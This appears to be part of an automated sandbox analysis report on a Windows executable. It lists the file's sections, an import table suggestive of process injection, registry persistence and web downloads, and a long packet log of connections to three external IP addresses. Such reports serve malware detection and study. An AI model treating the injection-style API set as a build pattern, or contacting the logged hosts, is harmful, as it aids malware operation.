.text	0x1000	0x65d14	0x65e00	7f03217ee346ca28a1ec4edee2a16760	False	0.43878211273006135	data	6.370663514409348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x67000	0x15c08	0x15e00	42e8f8aed5b347b2f1d36a093b6b6378	False	0.39369419642857145	data	4.885714304384146	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x7d000	0x3c4c	0x1e00	dda441d613f0add7fffe1ebe5ef127bc	False	0.15091145833333333	data	3.6828671253130945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x81000	0x4a1c	0x4c00	f7fb79d1bfbd6ff81ce784190fddd98b	False	0.4654091282894737	data	5.619247766039834	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x86000	0xd60	0xe00	6a4fe1ef652ccf1d019f1ae70f1687f7	False	0.45926339285714285	data	5.393368661048187	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	GetCurrentProcess, GetCurrentProcessId, TerminateProcess, GetExitCodeProcess, ResumeThread, CreateProcessA, GetThreadContext, SetThreadContext, OpenProcess, GetWindowsDirectoryW, VirtualAllocEx, ReadProcessMemory, WriteProcessMemory, IsWow64Process, Wow64GetThreadContext, Wow64SetThreadContext, GetModuleFileNameW, GetModuleHandleW, GetProcAddress, Sleep, Process32FirstW, Process32NextW, WriteConsoleW, CreateMutexW, WaitForSingleObject, GetProcessHeap, HeapFree, HeapAlloc, GetLastError, CloseHandle, WriteFile, ReadFile, GetFileSize, CreateFileW, CreateFileA, CreateDirectoryW, SetEnvironmentVariableW, GetEnvironmentVariableW, HeapSize, SetStdHandle, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindClose, GetTimeZoneInformation, ReadConsoleW, CreateToolhelp32Snapshot, GetStdHandle, SetFilePointerEx, GetFileSizeEx, GetConsoleMode, GetConsoleOutputCP, QueryPerformanceCounter, QueryPerformanceFrequency, GetCurrentThreadId, WideCharToMultiByte, MultiByteToWideChar, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, GetSystemTimeAsFileTime, GetLocaleInfoEx, EncodePointer, DecodePointer, LCMapStringEx, GetStringTypeW, CompareStringEx, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, InitializeSListHead, RtlPcToFileHeader, RaiseException, RtlUnwindEx, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, HeapReAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, GetDateFormatW, GetTimeFormatW, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, FlushFileBuffers, RtlUnwind
ADVAPI32.dll	RegCreateKeyExA, AllocateAndInitializeSid, CheckTokenMembership, EqualSid, RegGetValueA, RegSetValueExW, RegSetValueExA, RegOpenKeyExW, OpenProcessToken, RegCloseKey, GetTokenInformation, FreeSid
CRYPT32.dll	CryptStringToBinaryA
WININET.dll	InternetOpenA, InternetOpenW, InternetCloseHandle, InternetReadFile, HttpQueryInfoA, InternetCheckConnectionW, InternetOpenUrlA
WS2_32.dll	closesocket, connect, WSACleanup, getaddrinfo, freeaddrinfo, WSAStartup, socket
IPHLPAPI.DLL	GetAdaptersInfo
ole32.dll	CoInitializeEx, CoGetObject, CoUninitialize

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 09:26:19.272733927 CET	49700	80	192.168.2.7	142.250.181.228
Jan 12, 2025 09:26:19.277592897 CET	80	49700	142.250.181.228	192.168.2.7
Jan 12, 2025 09:26:19.277657032 CET	49700	80	192.168.2.7	142.250.181.228
Jan 12, 2025 09:26:19.277962923 CET	49700	80	192.168.2.7	142.250.181.228
Jan 12, 2025 09:26:19.282777071 CET	80	49700	142.250.181.228	192.168.2.7
Jan 12, 2025 09:26:19.282826900 CET	49700	80	192.168.2.7	142.250.181.228
Jan 12, 2025 09:26:19.314857006 CET	49701	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:19.314910889 CET	443	49701	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:19.315104008 CET	49701	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:19.315104008 CET	49701	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:19.315359116 CET	443	49701	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:19.315424919 CET	49701	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:19.352032900 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:19.352065086 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:19.352150917 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:19.368756056 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:19.368771076 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:19.850703955 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:19.850821972 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.634747028 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.634769917 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.635792971 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.635871887 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.642147064 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.683326006 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958045006 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958103895 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958117008 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958173037 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958189964 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958229065 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958307028 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958354950 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958393097 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958436012 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958477974 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958523989 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958561897 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958605051 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958638906 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958686113 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958722115 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958769083 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958810091 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958854914 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958892107 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.958940983 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.958980083 CET	443	49702	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:20.959023952 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.962891102 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:20.962914944 CET	49702	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:23.219412088 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:23.219420910 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:23.219595909 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:23.238132000 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:23.238142967 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:23.704773903 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:23.704947948 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.101428986 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.101440907 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.102360964 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.102426052 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.103076935 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.147326946 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415122986 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415230036 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415245056 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415292025 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415298939 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415339947 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415350914 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415401936 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415462017 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415508032 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415554047 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415599108 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415644884 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415688992 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415733099 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415779114 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415817022 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.415865898 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.415987968 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.416039944 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.419635057 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.419701099 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.419719934 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.419812918 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.501960039 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.502021074 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.502059937 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.502109051 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.502149105 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.502201080 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.502219915 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.502260923 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.515558958 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.515618086 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.515667915 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.515717983 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.515758038 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.515809059 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.515839100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.515950918 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.516052008 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.516099930 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.516156912 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.516252995 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.516261101 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.516304970 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.516340971 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.516386032 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.516729116 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.516777992 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.516838074 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.516884089 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.516922951 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.516968966 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.517024994 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.517072916 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.517112017 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.517157078 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.517193079 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.517237902 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.517719984 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.517765999 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.517827988 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.517874956 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.517911911 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.517962933 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.517997026 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.518044949 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.518079996 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.518122911 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.518160105 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.518203974 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.589312077 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.589359999 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.589426041 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.589476109 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.589514971 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.589559078 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.589586973 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.589633942 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.610522985 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.610574007 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.610622883 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.610671043 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.610773087 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.610826969 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.610889912 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.610943079 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.610980988 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.611037016 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.611377001 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.611438990 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.611449003 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.611500025 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.612045050 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.612096071 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.612152100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.612210035 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.612932920 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.612993956 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.613020897 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.613075972 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.613657951 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.613708019 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.613754988 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.613809109 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.613842964 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.613900900 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.614484072 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.614538908 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.695601940 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.695677996 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.752856016 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.752935886 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.753021955 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.753081083 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.753123045 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.753171921 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.761567116 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.761667967 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.761698961 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.761706114 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.761768103 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.761768103 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.761862040 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.761914015 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.761936903 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.762048006 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.762098074 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.762198925 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.762253046 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.762527943 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.762598038 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.762602091 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.762625933 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.762651920 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.762674093 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.762933969 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.762981892 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.763041973 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.763089895 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.763123989 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.763166904 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.763245106 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.763297081 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.763423920 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.763478994 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.763509035 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.763565063 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.764221907 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.764276981 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.764318943 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.764372110 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.764420986 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.764463902 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.764494896 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.764549017 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.764578104 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.764628887 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.766568899 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.766628027 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.766659975 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.766715050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.783452034 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.783521891 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.783545971 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.783605099 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.841245890 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.841324091 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.841353893 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.841402054 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.859388113 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.859416008 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.859463930 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.859471083 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.859493017 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.859527111 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.859535933 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.859549046 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.859579086 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.873395920 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.873414993 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.873482943 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.873493910 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.873553991 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.886755943 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.886822939 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.886837959 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.886852026 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.886878967 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.886900902 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.901099920 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.901115894 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.901173115 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.901179075 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.901221037 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.901231050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.916109085 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.916125059 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.916172028 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.916177988 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.916224003 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.925738096 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.925790071 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.925818920 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.925831079 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.925852060 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.925865889 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.944782019 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.944797993 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.944864988 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.944873095 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.944910049 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.958962917 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.958977938 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.959028959 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.959036112 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.959079981 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.959100962 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.968595028 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.968630075 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.968655109 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.968662024 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.968691111 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.968704939 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.978177071 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.978198051 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.978260994 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:24.978267908 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:24.978311062 CET	49727	443	192.168.2.7	104.21.60.172
